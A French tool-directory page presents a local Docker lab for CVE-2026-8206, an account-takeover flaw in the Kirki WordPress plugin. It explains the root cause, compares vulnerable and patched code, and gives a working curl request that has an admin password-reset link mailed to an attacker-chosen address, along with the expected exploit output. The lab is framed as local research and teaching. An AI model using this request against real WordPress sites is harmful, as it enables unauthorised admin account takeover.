Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-8206-Lab — Laboratoire Docker local démontrant la CVE-2026-8206, une prise de contrôle de compte non authentifié dans le plugin Kirki WordPress. Compare la version vulnérable 6.0.6 vs la version corrigée 6.0.7 avec un script PoC et une vérification de courrier capturé. | Kitploit
Outils/GitHubGitHub/rootdirective-sec/cve-2026-8206-lab
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFApprentissage et ÉducationLabs et Pratique
GitHubrootdirective-sec/cve-2026-8206-lab

CVE-2026-8206-Lab

Laboratoire Docker local démontrant la CVE-2026-8206, une prise de contrôle de compte non authentifié dans le plugin Kirki WordPress. Compare la version vulnérable 6.0.6 vs la version corrigée 6.0.7 avec un script PoC et une vérification de courrier capturé.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 2 moisPas encore vérifié

CVE-2026-8206 - Laboratoire de prise de contrôle de compte Kirki

Laboratoire Docker local pour démontrer CVE-2026-8206 dans le plugin WordPress Kirki.

Ce dépôt compare les versions réelles du plugin Kirki :

  • vuln : Kirki 6.0.6
  • patched : Kirki 6.0.7

Le laboratoire est local uniquement et lie les services WordPress à 127.0.0.1. La preuve de concept est à moindre risque : elle demande une réinitialisation de mot de passe et vérifie le destinataire de l'e-mail capturé dans le laboratoire. Elle ne modifie aucun mot de passe.


Résumé

CVE-2026-8206 est une vulnérabilité de prise de contrôle de compte / escalade de privilèges non authentifiée dans les versions 6.0.0 à 6.0.6 de Kirki.

Le gestionnaire de réinitialisation de mot de passe vulnérable crée une clé de réinitialisation pour un utilisateur WordPress réel sélectionné par username, mais envoie l'e-mail de réinitialisation à une adresse e-mail arbitraire fournie dans la requête.

Dans ce laboratoire :

root@kitploit:~
vulnerable => reset link for admin is sent to [email protected]
patched    => mismatched email is rejected and no reset email is sent to [email protected]

Composant affecté

  • Produit : Kirki – Freeform Page Builder, Website Builder & Customizer
  • Versions affectées : 6.0.0 à 6.0.6
  • Version corrigée : 6.0.7
  • Point d'accès vulnérable utilisé dans ce laboratoire :
root@kitploit:~
/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password

Cause racine

Le gestionnaire vulnérable est :

root@kitploit:~
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php

Comportement vulnérable dans 6.0.6

Kirki lit l'e-mail fourni par l'attaquant depuis le corps de la requête :

root@kitploit:~
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';

Il résout ensuite l'utilisateur WordPress cible par nom d'utilisateur et crée une clé de réinitialisation de mot de passe pour cet utilisateur :

root@kitploit:~
$key = get_password_reset_key( $user );

Mais l'e-mail de réinitialisation final est envoyé au $email fourni dans la requête :

root@kitploit:~
$sent = wp_mail( $email, $email_subject, $email_body, $headers );

Cela brise la frontière de confiance entre l'identité du compte et le destinataire de l'e-mail de réinitialisation. Un demandeur non authentifié peut fournir :

root@kitploit:~
username=admin
[email protected]

La clé de réinitialisation appartient à admin, mais l'e-mail est livré à l'adresse contrôlée par l'attaquant.

Comportement corrigé dans 6.0.7

Kirki 6.0.7 valide que l'e-mail fourni correspond à l'e-mail enregistré de l'utilisateur résolu, puis force le destinataire à l'e-mail du compte avant l'envoi :

root@kitploit:~
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    // reject request
}

$email = $user_email;
$sent  = wp_mail( $email, $email_subject, $email_body, $headers );

Conception du laboratoire

Les e-mails locaux sont capturés dans des fichiers au lieu d'être envoyés à l'extérieur :

root@kitploit:~
artifacts/vuln-mail/
artifacts/patched-mail/

Le laboratoire utilise des versions réelles du plugin Kirki installées avec WP-CLI. La source du plugin n'est pas modifiée.


Structure du dépôt

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── docker/
│   ├── capture-mail
│   └── mail-capture.ini
├── scripts/
│   └── setup-wordpress.sh
├── poc/
│   ├── poc_local.py
│   └── run_lab_poc.sh
├── docs/
│   └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore

Prérequis

  • Docker Desktop ou Docker Engine
  • Docker Compose v2
  • Python 3
  • Paquet Python requests

Installez la dépendance Python si nécessaire :

root@kitploit:~
python3 -m pip install requests

Exécuter le laboratoire

Démarrer les conteneurs :

root@kitploit:~
docker compose up -d --build

Initialiser les deux instances WordPress :

root@kitploit:~
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched

Exécuter la PoC :

root@kitploit:~
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh

Résultats attendus

Vulnérable : Kirki 6.0.6

Résultat attendu :

root@kitploit:~
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
    To: [email protected]
    Subject: CVE-2026-8206 local lab proof

Corrigé : Kirki 6.0.7

Résultat attendu :

root@kitploit:~
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER

Vérification manuelle

Créez le nonce correct de l'élément Kirki dans le laboratoire vulnérable :

root@kitploit:~
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"

Envoyez une requête locale uniquement au service vulnérable :

root@kitploit:~
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
  -H "X-WP-Element-Nonce: $NONCE" \
  -d "username=admin" \
  -d "[email protected]" \
  --data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
  --data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'

Vérifiez l'e-mail capturé :

root@kitploit:~
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/

Preuve vulnérable attendue :

root@kitploit:~
To: [email protected]
... action=rp ... login=admin ...

Sécurité

Ce laboratoire est destiné uniquement à la recherche en sécurité locale et à la démonstration de portfolio.

Gardes-fous :

  • Lie les services uniquement à 127.0.0.1.
  • Utilise des adresses e-mail locales factices.
  • Capture les e-mails localement au lieu d'envoyer de vrais e-mails.
  • Ne modifie pas les mots de passe.
  • Ne tente pas d'exploitation contre des systèmes externes.

Nettoyage

root@kitploit:~
docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail

Références

  • Enregistrement CVE : https://www.cve.org/CVERecord?id=CVE-2026-8206
  • Avis Wordfence : https://www.wordfence.com/blog/2026/06/unauthenticated-privilege-escalation-vulnerability-patched-in-kirki-wordpress-plugin/
  • Base de données de vulnérabilités Wordfence : https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kirki/kirki-600-606-unauthenticated-privilege-escalation-via-handle-forgot-password
  • Page du plugin WordPress / journal des modifications : https://wordpress.org/plugins/kirki/
  • Entrée OpenCVE : https://app.opencve.io/cve/CVE-2026-8206
Télécharger l’outil
ServiceObjectifURL hôte
vulnWordPress + Kirki 6.0.6http://127.0.0.1:8081
patchedWordPress + Kirki 6.0.7http://127.0.0.1:8082
db_vulnMySQL pour le WordPress vulnérableRéseau Docker uniquement
db_patchedMySQL pour le WordPress corrigéRéseau Docker uniquement
wpcli_vulnInitialise le WordPress vulnérableconfiguration unique
wpcli_patchedInitialise le WordPress corrigéconfiguration unique